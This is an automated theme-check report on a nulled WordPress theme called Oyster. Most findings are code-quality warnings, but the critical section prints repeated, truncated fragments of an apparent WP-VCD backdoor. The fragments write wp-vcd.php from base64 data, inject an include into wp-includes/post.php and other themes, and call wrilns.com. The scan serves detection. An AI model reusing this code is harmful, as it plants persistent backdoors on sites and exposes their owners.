0
Validation results

Oyster | Shared By VestaThemes.com

Oyster | Shared By VestaThemes.com

WordPress 6.4.3 theme
0
  • THEME TYPEWordPress theme 6.4.3
  • FILE NAMEoyster.zip
  • FILE SIZE3063787 bytes
  • MD5646775b648c5947fdf6443d582e231cf
  • SHA1a609305decb212bc3a92a7cbbc626937f21e91aa
  • LICENSEGNU GPL 3
  • FILES INCLUDEDCSS, PHP, XML, Bitmap images, Adobe Illustrator
  • THEME URIhttps://livewp.site/wp/md/oyster/
  • VERSION3.9.8
  • CREATION DATE2019-10-29
  • LAST FILE UPDATE2019-10-29
  • LAST VALIDATION2019-10-29 06:10
This theme seems to be proprietary. Themecheck doesn't distribute commercial themes.
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.
  2. Security breaches : Modification of PHP server settings Found ini_set in file class.theme-modules.php. 5: ini_set('display_errors', 0);
  3. Security breaches : Use of base64_decode() Found base64_decode in file class.theme-modules.php. 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )95: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  4. Security breaches : Use of base64_encode() Found base64_encode in file license_verification.php.
     $response = wp_remote_request('https://gt3accounts.com/app?createnewuser=true&purchase_code='.urlencode(base64_encode($code)).'&item='.urlencode(base64_encode($product)).'&userema
     $response = wp_remote_request('https://gt3accounts.com/app?user_check=true&purchase_code='.urlencode(base64_encode($code)).'&item='.urlencode(base64_encode($product)).'&userema
  5. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/" . $videoid . "?controls=0&autoplay=1&showinfo=0&modestbranding=1&wmode=opaque&rel=0\" frameborder=\"0\" allowfullscreen> in file page-background.php. 25: echo '<iframe width=\'100%\' height=\'100%\' src=\'https://www.youtube.com/embed/Found <iframe src=\"https://player.vimeo.com/video/" . $videoid . "\" width=\"100%\" height=\"".$video_height."\" frameborder=\"0\" webkitAllowFullScreen mozallowfullscreen allowFullScreen> in file pf_type1.php. 90: <iframe src=\'https://player.vimeo.com/video/' . $videoid . '\' width=\'100Found <iframe width=\"100%\" height=\"100%\" src=\"https://www.youtube.com/embed/" . $videoid . "?controls=0&autoplay=1&showinfo=0&modestbranding=1&wmode=opaque&rel=0\" frameborder=\"0\" allowfullscreen> in file single-port.php. 402: echo '<iframe width=\'100%\' height=\'100%\' src=\'https://www.youtube.com/embed/Found <iframe width=\"100%\" height=\"".$video_height."\" src=\"https://www.youtube.com/embed/" . $videoid . "?wmode=opaque\" frameborder=\"0\" allowfullscreen> in file pf_type1.php. 38: <iframe width=\'100%\' height=\''.$video_height.'\' src=\'https://www.youtuFound <iframe src=\"https://player.vimeo.com/video/" . $videoid . "\" width=\"{$w}\" height=\"{$h}\" frameborder=\"0\" webkitAllowFullScreen mozallowfullscreen allowFullScreen> in file video.php. 45: <iframe src=\'https://player.vimeo.com/video/' . $videoid . '\' width=\'{$wFound <iframe width=\"395\" height=\"295\" src=\"https://www.youtube.com/embed/" . $videoid . "\" frameborder=\"0\" allowfullscreen> in file pb-functions.php. 537: <iframe width=\'395\' height=\'295\' src=\'https://www.youtube.com/embed/' Found <iframe width=\"100%\" height=\"".$video_height."\" src=\"https://www.youtube.com/embed/" . $videoid . "?wmode=opaque\" frameborder=\"0\" allowfullscreen> in file functions.php. 451: <iframe width=\'100%\' height=\''.$video_height.'\' src=\'https://www.youtu
  6. Malware : Operations on file system fopen was found in the file css-js-generator.php 37: $handle = fopen($this->fullfilepath, 'w');55: $fp = fopen($this->fullfilepath, 'w');fwrite was found in the file css-js-generator.php 38: fwrite($handle, str_replace(array(' ', '\n'), '', $this->output));fopen was found in the file css-js-generator.php 37: $handle = fopen($this->fullfilepath, 'w');55: $fp = fopen($this->fullfilepath, 'w');file_get_contents was found in the file parsers.php 252: if ( ! xml_parse( $xml, file_get_contents( $file ), true ) ) {fopen was found in the file parsers.php 398: $fp = $this->fopen( $file, 'r' );615: function fopen( $filename, $mode = 'r' ) {618: return fopen( $filename, $mode );fclose was found in the file parsers.php 447: $this->fclose($fp);633: function fclose( $fp ) {636: return fclose( $fp );fopen was found in the file parsers.php 398: $fp = $this->fopen( $file, 'r' );615: function fopen( $filename, $mode = 'r' ) {618: return fopen( $filename, $mode );fopen was found in the file parsers.php 398: $fp = $this->fopen( $file, 'r' );615: function fopen( $filename, $mode = 'r' ) {618: return fopen( $filename, $mode );fclose was found in the file parsers.php 447: $this->fclose($fp);633: function fclose( $fp ) {636: return fclose( $fp );fclose was found in the file parsers.php 447: $this->fclose($fp);633: function fclose( $fp ) {636: return fclose( $fp );file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_get_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));111: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 138: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 171: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));177: $content = @file_get_contents('http://www.wrilns.com/o.php?host=' . $_SERVER['HTTP_HOST178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.wrilns.com/admin.txt'));202: if ($file = file_get_contents($e[1]))217: if ($file = @file_get_contents(__FILE__))file_put_contents was found in the file class.theme-modules.php 45: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS49: file_put_contents($path . '/wp-includes/post.php', $file);50: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h116: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 143: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 172: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('178: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('221: @file_put_contents(__FILE__, $file);
  7. Admin menu : Themes should use add_theme_page() for adding admin pages. File license_verification.php : 6: add_submenu_page( GT3_THEMESHORT . 'options', 'Product Activation', 'ProducFile admin-pages.php : 7: add_menu_page(GT3_THEMENAME, GT3_THEMENAME, 'administrator', GT3_THEMESHORT
  8. Deprecated functions : wp_get_http wp_get_http found in file importer.php. Deprecated since version 4.4. Use WP_Http instead.880: $headers = wp_get_http( $url, $upload['file'] );
Warning
  1. theme tags : Presence of bad theme tagsFound wrong tag in style.css header.
  2. Text domain : Incorrect use of translation functions.Wrong installation directory for the theme name. The directory name must match the slug of the theme. This theme's correct slug and text-domain is oyster-shared-by-vestathemes-com.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function esc_attr__, with the arguments "Submit" in file functions.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are theme_localization, wizecore, oyster, gt3_builder, wordpress-importer, _s.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  5. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file theme.css.
  6. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  7. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  8. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  9. Featured image : Use of the_post_thumbnail() instead of custom fields for thumbnailsNo reference to the_post_thumbnail was found in the theme.
  10. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  11. Date and time implementation : Use of the_time()At least one hard coded date was found in the file search.php. Function get_option( 'date_format' ) should be used instead.
  12. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  2. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  3. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  4. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  5. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  6. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  7. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  8. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  9. Use of includes : Use of include or requireThe theme appears to use include or require : loader.php 4: require_once('config.php');5: require_once('update_parameters.php');7: require_once('aq_resizer.php');10: require_once('classes/admin-tabs-controls.php');11: require_once('classes/admin-tabs-option-types.php');12: require_once('classes/admin-tabs-list.php');13: require_once('classes/css-js-generator.php');14: require_once('classes/global-js-message.php');15: require_once('classes/menu-walker.php');16: require_once('classes/gt3_helper.php');19: require_once('registrator/admin-pages.php');20: require_once('registrator/css-js.php');21: require_once('registrator/css-js-demo.php');22: require_once('registrator/ajax-handlers.php');23: require_once('registrator/sidebars.php');24: require_once('registrator/fonts.php');25: require_once('registrator/misc.php');28: require_once('license_verification/license_verification.php');31: require_once('admin/options.php');32: require_once('admin/theme-settings-page.php');35: require_once('widgets/flickr.php');36: require_once('widgets/posts.php');39: require_once('plugins/gt3-pagebuilder/gt3_builder.php');41: require_once('updates-notifier.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : sidebars.php 23: include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : ajax-handlers.php 472: require_once(TEMPLATEPATH . '/core/xml-importer/importer.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : css-js.php 26: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );39: include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : gt3_builder.php 27: require_once(GT3PBPLUGINPATH . 'core/loader.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : loader.php 3: require_once(GT3PBPLUGINPATH . 'core/aq_resizer.php');4: require_once(GT3PBPLUGINPATH . 'config.php');5: require_once(GT3PBPLUGINPATH . 'core/shortcodes/shortcodesUI.php');6: require_once(GT3PBPLUGINPATH . 'core/registrator/css-js.php');7: require_once(GT3PBPLUGINPATH . 'core/registrator/misc.php');8: require_once(GT3PBPLUGINPATH . 'core/pb-functions.php');9: require_once(GT3PBPLUGINPATH . 'core/registrator/custom-post-types.php');10: require_once(GT3PBPLUGINPATH . 'core/pb-modules.php');11: require_once(GT3PBPLUGINPATH . 'core/pb-parser.php');13: /*require_once(GT3PBPLUGINPATH . 'core/plugin-settings/admin-tabs-controls.ph14: require_once(GT3PBPLUGINPATH . 'core/plugin-settings/admin-tabs-list.php');15: require_once(GT3PBPLUGINPATH . 'core/plugin-settings/admin-tabs-option-type16: require_once(GT3PBPLUGINPATH . 'core/plugin-settings/options.php');17: require_once(GT3PBPLUGINPATH . 'core/plugin-settings/plugin-settings.php');20: require_once(GT3PBPLUGINPATH . 'core/shortcodes/accordion.php');21: require_once(GT3PBPLUGINPATH . 'core/shortcodes/before-after.php');22: require_once(GT3PBPLUGINPATH . 'core/shortcodes/title.php');23: require_once(GT3PBPLUGINPATH . 'core/shortcodes/toggles.php');24: require_once(GT3PBPLUGINPATH . 'core/shortcodes/faq.php');25: require_once(GT3PBPLUGINPATH . 'core/shortcodes/blockquote.php');26: require_once(GT3PBPLUGINPATH . 'core/shortcodes/blog.php');27: require_once(GT3PBPLUGINPATH . 'core/shortcodes/buttons.php');28: require_once(GT3PBPLUGINPATH . 'core/shortcodes/contacts.php');29: require_once(GT3PBPLUGINPATH . 'core/shortcodes/counter.php');30: require_once(GT3PBPLUGINPATH . 'core/shortcodes/dropcaps.php');31: require_once(GT3PBPLUGINPATH . 'core/shortcodes/diagram.php');32: require_once(GT3PBPLUGINPATH . 'core/shortcodes/divider.php');33: require_once(GT3PBPLUGINPATH . 'core/shortcodes/feature_posts.php');34: require_once(GT3PBPLUGINPATH . 'core/shortcodes/feature_portfolio.php');35: require_once(GT3PBPLUGINPATH . 'core/shortcodes/gallery.php');36: require_once(GT3PBPLUGINPATH . 'core/shortcodes/highlighter.php');37: require_once(GT3PBPLUGINPATH . 'core/shortcodes/iconboxes.php');38: require_once(GT3PBPLUGINPATH . 'core/shortcodes/list.php');39: require_once(GT3PBPLUGINPATH . 'core/shortcodes/map.php');40: require_once(GT3PBPLUGINPATH . 'core/shortcodes/messageboxes.php');41: require_once(GT3PBPLUGINPATH . 'core/shortcodes/partners.php');42: require_once(GT3PBPLUGINPATH . 'core/shortcodes/portfolio.php');43: //require_once(GT3PBPLUGINPATH . 'core/shortcodes/portfolio_masonry.php');44: require_once(GT3PBPLUGINPATH . 'core/shortcodes/pricetable.php');45: require_once(GT3PBPLUGINPATH . 'core/shortcodes/promotext.php');46: require_once(GT3PBPLUGINPATH . 'core/shortcodes/sitemap.php');47: require_once(GT3PBPLUGINPATH . 'core/shortcodes/social_icons.php');48: require_once(GT3PBPLUGINPATH . 'core/shortcodes/tabs.php');49: require_once(GT3PBPLUGINPATH . 'core/shortcodes/team.php');50: require_once(GT3PBPLUGINPATH . 'core/shortcodes/testimonials.php');51: require_once(GT3PBPLUGINPATH . 'core/shortcodes/textarea.php');52: require_once(GT3PBPLUGINPATH . 'core/shortcodes/video.php');54: require_once(GT3PBPLUGINPATH . 'core/pb-ajax-handlers.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : pb-modules.php 135: require_once('get-module-settings.php'); If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.The theme appears to use include or require : class.theme-modules.php 48: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-vcd.php\')) include_once(dirname(__FILE__) . \'/wp-vcd.php\'); ?>' . $file; If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes